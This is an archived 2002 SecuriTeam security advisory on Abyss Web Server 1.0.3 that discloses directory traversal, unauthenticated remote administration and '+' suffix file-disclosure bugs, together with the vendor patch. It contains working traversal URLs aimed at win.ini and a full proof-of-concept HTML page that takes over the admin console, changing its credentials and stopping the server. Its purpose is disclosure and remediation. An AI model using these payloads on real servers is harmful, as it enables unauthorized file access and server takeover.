

# [NEWS] Abyss Web Server Directory Traversal and Administration Bugs

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0111.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/27/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Tue, 27 Aug 2002 22:19:51 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Abyss Web Server Directory Traversal and Administration Bugs

---

## SUMMARY

<<http://www.aprelium.com/>> Abyss Web Server is a free personal web server available for Windows and Linux operating systems. Multiple security vulnerabilities in the product allow an attacker to view every file in the remote system and to administrate the Abyss server without any authentication requirement whatsoever.

## DETAILS

Vulnerable systems:

- \* Abyss Web Server version 1.0.3 (patch 1) and prior

Immune systems:

- \* Abyss Web Server version 1.0.3 (patch 3)

A) Directory traversal bug

This problem is caused by bad handling of the character '\' (%5c). Since this character is not stripped from the processed request, the server will follow the path in the provided URI until it reaches the file that was requested.

## Securiteam: [NEWS] Abyss Web Server Directory Traversal and Administration Bugs

Examples:

The following are two simple examples that will show you the content of the winnt\win.ini file:

<http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini>  
"GET ^..\..\..\..\winnt\win.ini HTTP/1.0"

It is also possible to view a directory list of directories (but not the root) if the AutoIndex option has not been disabled (by default it is enabled).

Example:

This will allow you to view the root of the WINNT directory:

<http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt/>

Under Linux, fortunately the attacker cannot climb up the path, rather only to folders residing under the Abyss directory. This however is still dangerous since for example, the files in CGI-BIN and CHL directory reside under the Abyss directory and should not be browse-able.

Examples:

Two simple examples are:

<http://host/%2f%2e%2e%2f>

<http://host/%2f%2e%2e%2fcgi-bin/>

And we will see the index of the Abyss and cgi-bin folder.

B] Administration bug (fixed in patch 2 release)

The console used in Abyss is basically the same web server but this time it listens on port 9999 (or in certain cases port 81). When the web server on this port is accessed, the CHL directory will be automatically shown. In the CHL directory, several files exist that allow managing of the server from a remote location.

Since access to this console is not configured to require any sort of authentication, an attacker can reconfigure every parameter of the server.

Some examples of what the attacker can do are:

- Stop, Run and Halt the server.
- Change username and password of the administrator.
- Change all the advanced parameters of the server (log files, number of requests, etc...).
- Any other thing the real administrator is able to perform.

The only limit for the attacker is that he cannot see the current settings of the server.

Exploit:

The proof-of-concept can be downloaded from Auriemma's home page:

<<http://www.pivx.com/luigi/poc/abyss-adm.zip>>

<http://www.pivx.com/luigi/poc/abyss-adm.zip>

## Securiteam: [NEWS] Abyss Web Server Directory Traversal and Administration Bugs

```
<html>
<base href="http://127.0.0.1:9999">

<body bgcolor="#F0F0F0">
<title>Abyss 1.0.3 administration proof-of-concept</title>
<center>
<b><h3>Abyss administration
proof-of-concept</h2></b></h3>
version 1.0.3 (patch 2) fix the bug<br><br>
</font>
by Auriemma Luigi<br><A
HREF="mailto:alugi@pivx.com">alugi@pivx.com</A><br><br>
</center>
NOTE:<br>
Change <b>"http://127.0.0.1:9999"</b> at line 4 of this html if you want
to test other systems and other ports.<br>
The other options available are minimal so I have not included them
(index files, alias, etc...)<br>

<center>

<br><br>----<br>
<br><b>Server status</b><br>

<FORM ACTION="/save" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="$index" VALUE="^$index^">
<INPUT TYPE="HIDDEN" NAME="$Redirect" VALUE="/">
<INPUT TYPE="HIDDEN" NAME="$Redirect_Error" VALUE="/srvstatus.chl">
<INPUT TYPE="SUBMIT" VALUE=" Stop " NAME="*stop">
<INPUT TYPE="SUBMIT" VALUE=" Run " NAME="*run">
<INPUT TYPE="SUBMIT" VALUE=" Halt " NAME="*halt">
</FORM>

<br><br>---<br>
<br><b>Console port</b><br>

<FORM ACTION="/save" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="$index" VALUE="^$index^">
<INPUT TYPE="HIDDEN" NAME="$Redirect" VALUE="/console.chl">
<INPUT TYPE="HIDDEN" NAME="$Redirect_Error" VALUE="/conspost.chl">
Console Port:
<INPUT TYPE="TEXT" SIZE="5" NAME="ConsolePort" VALUE="9999"><br>
<INPUT TYPE="SUBMIT" VALUE="Auto Detect" NAME="*autodetect">
<INPUT TYPE="SUBMIT" VALUE=" OK " NAME="*update">
<INPUT TYPE="SUBMIT" VALUE="Cancel" NAME="*cancel">
</FORM>

<br><br>----<br>
<br><b>Administrator login settings</b><br>
```

## Securiteam: [NEWS] Abyss Web Server Directory Traversal and Administration Bugs

```
<FORM ACTION="/save" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="$index" VALUE="^$index^">
<INPUT TYPE="HIDDEN" NAME="$Redirect" VALUE="/console.chl">
<INPUT TYPE="HIDDEN" NAME="$Redirect_Error" VALUE="/conspass.chl">
Administrator Login:
<INPUT TYPE="TEXT" SIZE="20" NAME="login" VALUE=""><br>
Password:
<INPUT TYPE="PASSWORD" SIZE="20" NAME="$Password0" VALUE="">at least 6
chars<br>
Password Again:
<INPUT TYPE="PASSWORD" SIZE="20" NAME="$Password1" VALUE="">at least 6
chars<br>
<INPUT TYPE="SUBMIT" VALUE=" OK " NAME="*updateconsole">
<INPUT TYPE="SUBMIT" VALUE="Cancel" NAME="*cancel">
</FORM>
```

```
<br><br>----<br>
<br><b>General settings</b><br>
```

```
<FORM ACTION="/save" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="$index" VALUE="^$index^">
<INPUT TYPE="HIDDEN" NAME="$Redirect" VALUE="/">
<INPUT TYPE="HIDDEN" NAME="$Redirect_Error" VALUE="/general.chl">
Server Root:
<INPUT TYPE="TEXT" SIZE="40" NAME="ServerRoot" VALUE=""><br>
Documents Path:
<INPUT TYPE="TEXT" SIZE="40" NAME="Path" VALUE=""><br>
Port:
<INPUT TYPE="TEXT" SIZE="5" NAME="Port" VALUE="80"><br>
<INPUT TYPE="SUBMIT" VALUE=" OK " NAME="*update">
<INPUT TYPE="SUBMIT" VALUE="Cancel" NAME="*cancel">
</FORM>
```

```
<br><br>---<br>
<br><b>Advanced settings</b><br>
```

```
<FORM ACTION="/save" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="$index" VALUE="^$index^">
<INPUT TYPE="HIDDEN" NAME="$Redirect" VALUE="/advanced.chl">
<INPUT TYPE="HIDDEN" NAME="$Redirect_Error" VALUE="/srvparam.chl">
Automatic Directory Indexing:
<SELECT NAME="AutoIndex"><OPTION
SELECTED>Yes</OPTION><OPTION>No</OPTION></SELECT><br>
Timeout (seconds):
<INPUT TYPE="TEXT" SIZE="3" NAME="TimeOut" VALUE="10"><br>
Keep-Alive Requests:
<INPUT TYPE="TEXT" SIZE="3" NAME="KeepAlive" VALUE="10"><br>
Maximum Simultaneous Requests:
<INPUT TYPE="TEXT" SIZE="3" NAME="MaxConnections" VALUE="20"><br>
Log File:
<INPUT TYPE="TEXT" SIZE="40" NAME="LogFile" VALUE="log/access.log"><br>
```

## Securiteam: [NEWS] Abyss Web Server Directory Traversal and Administration Bugs

```
<INPUT TYPE="SUBMIT" VALUE=" OK " NAME="*update">
<INPUT TYPE="SUBMIT" VALUE="Cancel" NAME="*cancel">
</FORM>

<br><br>----<br>
<br><b>CGI settings</b><br>

<FORM ACTION="/save" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="$index" VALUE="^$index^">
<INPUT TYPE="HIDDEN" NAME="$Redirect" VALUE="/advanced.chl">
<INPUT TYPE="HIDDEN" NAME="$Redirect_Error" VALUE="/cgi.chl">
CGI Processing Enabled:
<SELECT NAME="CGIEnable"><OPTION
SELECTED>Yes</OPTION><OPTION>No</OPTION></SELECT><br>
CGI Error File:
<INPUT TYPE="TEXTBOX" SIZE="40" NAME="CGIErrorFile"
VALUE="log/cgi.log"><br>
CGI Scripts' Timeout (seconds):
<INPUT TYPE="TEXTBOX" SIZE="3" NAME="CGITimeOut" VALUE="30"><br>
Resolve interpreter using the Windows Registry
<SELECT NAME="CGIUserRegistry"><OPTION
SELECTED>Yes</OPTION><OPTION>No</OPTION></SELECT><br>
Resolve interpreter using the script's #! line:
<SELECT NAME="CGIUseScript"><OPTION
SELECTED>Yes</OPTION><OPTION>No</OPTION></SELECT><br>
<INPUT TYPE="SUBMIT" VALUE=" OK " NAME="*update">
<INPUT TYPE="SUBMIT" VALUE="Cancel" NAME="*cancel">
</FORM>
<br><br>----<br>
</html>
```

### C] Characters adding (+)

Another security problem occurs whenever some characters (in this case the '+') are added to the requests sent to the server. By exploiting this vulnerability, an attacker can read, for example, the .CHL files, completely bypassing the login restriction imposed upon them.

Examples:

Simple examples are:

```
http://host:9999/srvstatus.chl+
http://host:9999/consport.chl+
http://host:9999/conspass.chl+
http://host:9999/general.chl+
```

Fix:

You can download Abyss 1.0.3 (patch 3) from the Aprelium web-site:

```
<http://www.aprelium.com> http://www.aprelium.com
```

Alternatively, access directly the patch by going to:

```
<http://www.aprelium.com/news/patch1033.html>
```

Securiteam: [NEWS] Abyss Web Server Directory Traversal and Administration Bugs

<http://www.aprelium.com/news/patch1033.html>

ADDITIONAL INFORMATION

The information has been provided by <mailto:[aluigi@pivx.com](mailto:aluigi@pivx.com)> Auriemma Luigi of PivX.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NEWS] LG Electronics LG3100p Router Multiple Security Issues (DoS)"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)